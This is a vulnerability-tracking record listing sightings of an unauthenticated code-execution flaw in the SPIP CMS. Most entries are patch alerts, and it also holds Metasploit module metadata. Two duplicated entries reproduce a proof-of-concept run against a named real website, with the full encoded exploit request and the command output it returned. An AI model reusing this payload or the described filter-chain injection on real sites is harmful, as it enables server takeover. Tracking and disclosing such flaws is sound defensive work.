{"vulnerability": "CVE-2026-77647", "sightings": [{"uuid": "acfd93f0-b0a3-4aa5-812b-617c9bed5abb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-77647", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mtkhybv7ip25", "content": "\ud83d\udea8 CVE-2026-77647 \u2014 CVSS 9.8 CRITICAL\n\nSPIP before 4.4.20 allows unauthenticated remote attackers to execute arbitrary code, as exploited in the w...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-77647\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-08-21T00:12:05.065210Z"}, {"uuid": "b049c208-731b-4d0d-8b40-e0941efa5bab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-77647", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/g7po5x5zwz3s7", "content": "CVE-2026-77647 - SPIP Remote Code Execution Vulnerability\nCVE ID : CVE-2026-77647\n \n Published : Aug. 20, 2026, 11:16 p.m. | 38\u00a0minutes ago\n \n Description : SPIP before 4.4.20 allows unauthenticated remote attackers to execute arbitrary code, as exploited in the wild in August...", "creation_timestamp": "2026-08-21T00:19:23.581773Z"}, {"uuid": "3484564a-8656-4644-a859-69f2579cf5fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-77647", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mtkko3xm5o2p", "content": "CVE-2026-77647 - spip\nWebsites using SPIP versions older than 4.4.20 can be accessed by anyone on the internet who can then cause the server to run their own programs. This happens because the software misinterprets\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#spip #CVE #infosec", "creation_timestamp": "2026-08-21T01:00:21.016303Z"}, {"uuid": "06863d61-b609-4255-9a66-ec608d08b7d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-77647", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mtkqqxfwjw22", "content": "CVE-2026-77647, a CVSS 9.8 unauthenticated RCE in SPIP before 4.4.20, is exploited in the wild. Update now.\n\n#SPIP #CVE202677647 #RCE #ExploitedInTheWild #CMS #WebSecurity", "creation_timestamp": "2026-08-21T02:49:04.129757Z"}, {"uuid": "85c098f2-d114-405e-87f6-99b3b101dd3c", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-77647", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/e5d23ef8-d861-40f6-b794-b5672e099e4c", "content": "", "creation_timestamp": "2026-08-21T23:00:48.432614Z"}, {"uuid": "4a794703-2a92-48f9-8150-1e0028f53490", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-77647", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mtnx344xde2m", "content": "CVE-2026-77647 - spip\nWebsites using SPIP versions older than 4.4.20 can be taken over by strangers who send specially crafted pages. The software misreads certain code markers, allowing the attacker\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#spip #debian #Debian11 #CVE #infosec", "creation_timestamp": "2026-08-22T09:20:05.155463Z"}, {"uuid": "500e441e-4552-4ce4-9625-755d185bc0ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-77647", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3mtmcvojf7i2d", "content": "\ud83d\udea8 Critical RCE vulnerability (CVE-2026-77647, CVSS 9.8) in SPIP CMS is under active exploitation. The unauthenticated flaw allows full server takeover. All versions before 4.4.20 are vulnerable. #SPIP #RCE #Vulnerability #PatchNow\n\n\ud83c\udf10 cyber[.]netsecops[.]io", "creation_timestamp": "2026-08-21T17:46:29.168924Z"}, {"uuid": "1364a3d0-259c-4ae0-8df2-cad97f3cef35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-77647", "type": "seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/117134745131299746", "content": "\ud83d\udcf0 Critical RCE Flaw in SPIP CMS Under Active Exploitation\n\ud83d\udea8 Critical RCE vulnerability (CVE-2026-77647, CVSS 9.8) in SPIP CMS is under active exploitation. The unauthenticated flaw allows full server takeover. All versions before 4.4.20 are vulnerable. #SPIP #RCE #Vulnerability #PatchNow\n\ud83d\udd17 https://cyber.netsecops.io/articles/critical-rce-flaw-in-spip-cms-cve-2026-77647-actively-exploited/?utm_source=mastodon&utm_medium=social&utm_campaign=daily", "creation_timestamp": "2026-08-21T17:46:36.570979Z"}, {"uuid": "fd8e9c1b-7d51-4962-9595-d717f21a2db2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-77647", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mtkhd35e7u27", "content": "\ud83d\udd34 CVE-2026-77647 - Critical (9.8)\n\nSPIP before 4.4.20 allows unauthenticated remote attackers to execute arbitrary code, as exploite...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-77647/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-21T00:00:18.577866Z"}, {"uuid": "bc5c7785-441e-499b-aa90-bcba9726f7f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-77647", "type": "published-proof-of-concept", "source": "https://t.me/captainsmok3r_official/490", "content": "python poc2026-77647.py --host https://inta.org.ua/ --command \"whoami\"\n\n============================================================\n  ALIM EXPLOIT  CVE-2026-77647\n  Type: RCE  |  Target: inta.org.ua:443\n============================================================\n\n[STEP 1] Entry point: https://inta.org.ua:443/spip.php\n[STEP 2] Command to run: whoami\n[STEP 3] Injecting X-Spip-Filtre through the var_export'd template environment\n[STEP 4] Breaking out of the string literal with an early ?> plus HTML entities\n\n  page=404         sink=system()   -> no command output\n  page=404         sink=passthru() -> no command output\n  page=404         sink=shell_exec() -> no command output\n  page=sommaire    sink=system()   -> no command output\n  page=sommaire    sink=passthru() -> no command output\n  page=sommaire    sink=shell_exec() -> no command output\n  page=recherche   sink=system()   -> executed (2 copies)\n\n[STEP 5] Command output recovered from the response body (2 copies, one per environment splice)\n\n--- COMMAND OUTPUT ---\nintakiev\n---\n\n\n--- EXECUTION DETAIL ---\nentry page : recherche\nphp sink   : system()\nhttp status: 200\nurl        : https://inta.org.ua:443/spip.php?page=recherche&p19223b85=%3C%3Fphp+header%28%21X-Spip-Filtre%3A+filtrer_entites%21%29+%3F%3E&pb9a3a916=%3F%3E%26%2339%3B.system%28base64_decode%28%26%2334%3BZWNobyBkNDUyYjQwMzJhMmM7IHdob2FtaSAyPiYxOyBlY2hvIDJjNmRjYjVlYzk2Yw%3D%3D%26%2334%3B%29%29.%26%2339%3B\n---\n\n\n============================================================\n  RESULT  : SUCCESS\n  EVIDENCE: RCE confirmed - command 'whoami' executed as the web server user: intakiev\n============================================================", "creation_timestamp": "2026-08-28T00:00:32.683184Z"}, {"uuid": "0dbbd99d-cfdc-4216-8621-3fc0bdb4f54a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-77647", "type": "seen", "source": "https://t.me/captainsmok3r_official/488", "content": "CVE-2026-77647 SPIP before 4.4.20 allows unauthenticated remote attackers to execute arbitrary code", "creation_timestamp": "2026-08-28T00:00:32.726746Z"}, {"uuid": "1bbd0102-56e4-4f4b-bb8d-b22d98c1f766", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-77647", "type": "published-proof-of-concept", "source": "https://t.me/captainsmok3r_official/490", "content": "python poc2026-77647.py --host https://inta.org.ua/ --command \"whoami\"\n\n============================================================\n  ALIM EXPLOIT  CVE-2026-77647\n  Type: RCE  |  Target: inta.org.ua:443\n============================================================\n\n[STEP 1] Entry point: https://inta.org.ua:443/spip.php\n[STEP 2] Command to run: whoami\n[STEP 3] Injecting X-Spip-Filtre through the var_export'd template environment\n[STEP 4] Breaking out of the string literal with an early ?> plus HTML entities\n\n  page=404         sink=system()   -> no command output\n  page=404         sink=passthru() -> no command output\n  page=404         sink=shell_exec() -> no command output\n  page=sommaire    sink=system()   -> no command output\n  page=sommaire    sink=passthru() -> no command output\n  page=sommaire    sink=shell_exec() -> no command output\n  page=recherche   sink=system()   -> executed (2 copies)\n\n[STEP 5] Command output recovered from the response body (2 copies, one per environment splice)\n\n--- COMMAND OUTPUT ---\nintakiev\n---\n\n\n--- EXECUTION DETAIL ---\nentry page : recherche\nphp sink   : system()\nhttp status: 200\nurl        : https://inta.org.ua:443/spip.php?page=recherche&p19223b85=%3C%3Fphp+header%28%21X-Spip-Filtre%3A+filtrer_entites%21%29+%3F%3E&pb9a3a916=%3F%3E%26%2339%3B.system%28base64_decode%28%26%2334%3BZWNobyBkNDUyYjQwMzJhMmM7IHdob2FtaSAyPiYxOyBlY2hvIDJjNmRjYjVlYzk2Yw%3D%3D%26%2334%3B%29%29.%26%2339%3B\n---\n\n\n============================================================\n  RESULT  : SUCCESS\n  EVIDENCE: RCE confirmed - command 'whoami' executed as the web server user: intakiev\n============================================================", "creation_timestamp": "2026-08-27T19:00:05.370111Z"}, {"uuid": "5df87f56-5b52-45c5-affe-fcc2e99a404b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-77647", "type": "seen", "source": "https://t.me/captainsmok3r_official/488", "content": "CVE-2026-77647 SPIP before 4.4.20 allows unauthenticated remote attackers to execute arbitrary code", "creation_timestamp": "2026-08-27T19:00:05.432052Z"}, {"uuid": "5d12095d-c199-4103-b0dc-6d88230adc91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-77647", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/spip_x_spip_filtre_rce.rb", "content": "{\"aliases\": [], \"arch\": \"cmd\", \"author\": [\"Julien Voisin\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"This module exploits a PHP function-call injection in SPIP's\\n          template engine. The analyse_resultat_skel() function extracts\\n           patterns from the rendered\\n          page body and calls the listed functions as template filters.\\n\\n          A newline character is injected into a GET parameter value, which\\n          places a header() call on its own line inside the compiled PHP\\n          template. The filter chain intval|_request|system reads a shell\\n          command from a POST parameter and executes it.\", \"disclosure_date\": \"2026-08-20\", \"fullname\": \"exploit/multi/http/spip_x_spip_filtre_rce\", \"is_install_path\": true, \"mod_time\": \"2026-08-17 12:14:11 +0000\", \"name\": \"SPIP X-Spip-Filtre Unauthenticated RCE\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"ioc-in-logs\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/multi/http/spip_x_spip_filtre_rce.rb\", \"platform\": \"Linux,Unix\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"multi/http/spip_x_spip_filtre_rce\", \"references\": [\"URL-https://blog.spip.net/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-4-21.html\", \"CVE-2026-77647\"], \"rport\": 80, \"session_types\": false, \"targets\": [\"Automatic\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:50:13.291922Z"}, {"uuid": "4f7bcbb8-4193-4264-a3c1-dea5f53fa767", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-77647", "type": "seen", "source": "https://bsky.app/profile/vulnsea.com/post/3muzwomcuvb2w", "content": "\ud83c\udf0a ABYSSAL \u00b7 critical with a public exploit\nCVE-2026-77647: SPIP before 4.4.20 allows unauthenticated remote attackers to execute arbitrary code, as exploited in the wild in August\u2026\nCVSS 9.8 \u00b7 EPSS 2.6% \u00b7 exploited\nhttps://beta.vulnsea.com/cve/CVE-2026-77647\n\n#CVE #infosec #cybersecurity #threatintel", "creation_timestamp": "2026-09-08T21:10:14.565958Z"}]}